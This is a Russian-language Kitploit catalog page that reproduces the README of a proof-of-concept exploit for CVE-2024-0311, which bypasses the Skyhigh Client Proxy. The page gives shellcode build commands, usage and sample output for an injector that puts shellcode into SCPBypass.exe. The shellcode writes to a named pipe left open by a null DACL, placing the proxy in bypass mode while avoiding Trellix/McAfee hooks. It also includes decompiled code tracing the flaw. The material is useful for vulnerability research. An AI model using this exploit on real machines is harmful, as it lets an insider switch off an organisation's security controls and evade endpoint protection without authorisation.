Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-0311 — Exploit for CVE-2024-0311 | Kitploit
Инструменты/GitHubGitHub/calligraf0/cve-2024-0311
Privilege EscalationExploitationIDS/IPS EvasionReverse EngineeringShellcodePayload DevelopmentBinary Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Exploit for CVE-2024-0311

Репозиторий
921 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-0311 ?

Это PoC для того, что, как я считаю, является CVE-2024-0311, SB10418.

Злоумышленник изнутри может обойти существующую политику Skyhigh Client Proxy без действующего кода выпуска.

Много деталей. Очень эксплойт. ¯\(ツ)/¯

PoC внедряется в процесс SCPBypass.exe, запущенный пользователем, и записывает в канал SCPService.exe: \\.\pipe\MCPTrayPipe0. Внедрение необходимо, поскольку, даже если канал имеет права RW Everyone, WGUARDNT выполняет некоторые проверки исполняемого файла, записывающего в канал (проверяется путь записывающего), см. ниже.

Предоставлен пример шелл-кода, который позволяет выполнить WriteFile в канал, даже если Trellix/McAfee активны и перехватывают/блокируют LoadLibrary.

Компиляция

Соберите в Debug или Release из Visual Studio.

Шелл-код

Сгенерируйте шелл-код с помощью:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

затем замените шелл-код в shellcode.c.

Использование

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Пример вывода:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Если всё прошло хорошо, в лог-файлах SCP вы должны найти запись, похожую на эту:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Отчёт

Это будет краткий отчёт, потому что ни у кого нет времени на слова.

Клиент Skyhigh Proxy

Прежде всего, что такое клиент Skyhigh proxy?

Программное обеспечение Skyhigh Security Client Proxy помогает защитить конечных пользователей от угроз безопасности, возникающих при доступе к веб-сайтам изнутри или из-за пределов вашей сети. Клиентское ПО, установленное на конечных точках под управлением Microsoft Windows или macOS, перенаправляет веб-запросы или разрешает их передачу на прокси-сервер для фильтрации. Серверное ПО работает на одной из платформ управления: Trellix ePO SaaS или Trellix ePO Cloud.

Это должно прояснить.

В чём основная причина?

Учитывая информацию из уведомления, не на что опираться. Честно говоря, я изучал бинарный сервис в поисках легко эксплуатируемых проблем для повышения привилегий, когда увидел CreateNamedPipe и заинтересовался.

Вот быстрая копия декомпилированного кода из Ghidra:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Как мы видим, при вызове функции инициализируется новая структура DACL и создаётся новый канал \\.\pipe\MCPTrayPipe0 в byte mode.

Затем, пока дескриптор этого канала действителен, программа читает из него и пытается преобразовать отправленные байты из ASCII в int с помощью atoi(out_lpBuffer). Игнорируя тот факт, что существуют лучшие альтернативы atoi, если вызов atoi не завершился ошибкой, преобразованное значение передаётся в FUN_14022d5b0:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

которая вызывает SetWaitableTimer. Строки здесь немного помогли определить желаемый поток.

Главный момент здесь в том, что процесс ScpService.exe не проверяет, кто и что пишет в канал, данные просто слепо доверяются и передаются. Более того, при проверке разрешений канала с помощью accesschk канал получает права RW Everyone.

Таким образом, эксплойт должен в основном делать следующее:

  • CreateFile(): получить дескриптор канала
  • SetNamedPipeHandleState(): установить байтовый режим
  • WriteFile(): записать данные
  • CloseHandle(): закрыть дескриптор

Это можно сделать буквально несколькими строками PowerShell. Лёгкая победа, верно? Нет.

Зачем внедрять?

Если бы всё было так просто! Хотя технически всё казалось работающим, открытие канала всегда заканчивалось тайм-аутом клиента канала. Немного поглубже мы заметили, что сервис настраивал какие-то ACL в другом месте.

ACL

Дескриптор безопасности по умолчанию, используемый ScpService, инициализируется следующим образом:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Это представляет собой DACL, который не предоставляет доступ никому

Если избирательный список управления доступом (DACL), принадлежащий дескриптору безопасности объекта, имеет значение NULL, создаётся пустой DACL (null DACL). Пустой DACL (null DACL) предоставляет полный доступ любому запрашивающему пользователю; обычная проверка безопасности в отношении объекта не выполняется. Пустой DACL (null DACL) не следует путать с пустым DACL (empty DACL). Пустой DACL (empty DACL) — это правильно выделенный и инициализированный DACL, не содержащий записей управления доступом (ACE). Пустой DACL (empty DACL) не предоставляет доступа к объекту, которому он назначен.

Скорее всего, ACE/DACL делегируется \\.\WGUARDNT, который, по-видимому, является уровнем защиты (McAfee?), отвечающим за предоставление доступа к ограниченному списку объектов:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Попытка 1

Что ж, если подключаемый исполняемый файл проверяется по списку известных исполняемых файлов/путей, и поскольку SCPBypass.exe, запущенный с привилегиями нашего пользователя, похоже, находится в списке доверенных приложений, не могли бы мы просто внедрить DLL в SCPBypass.exe? Абсолютно! Жаль, что Trellix/McAfee заблокирует вызов LoadLibrary.

Отсюда неиспользуемый InjmeDLL в проекте.

Попытка 2 (окончательная)

В итоге мы выбрали быстрое и грязное решение, собранное @wolfcod: просто внедрить шелл-код, который делает то, что нужно, так как процесс уже всё загрузил. Вместо прямого вызова системного вызова или других уловок это простое решение отлично сработало для нашего случая.

В результате удалось обойти ограничения, наложенные решением AV/EDR, и получить рабочий эксплойт.

👋 Ура.

Скачать инструмент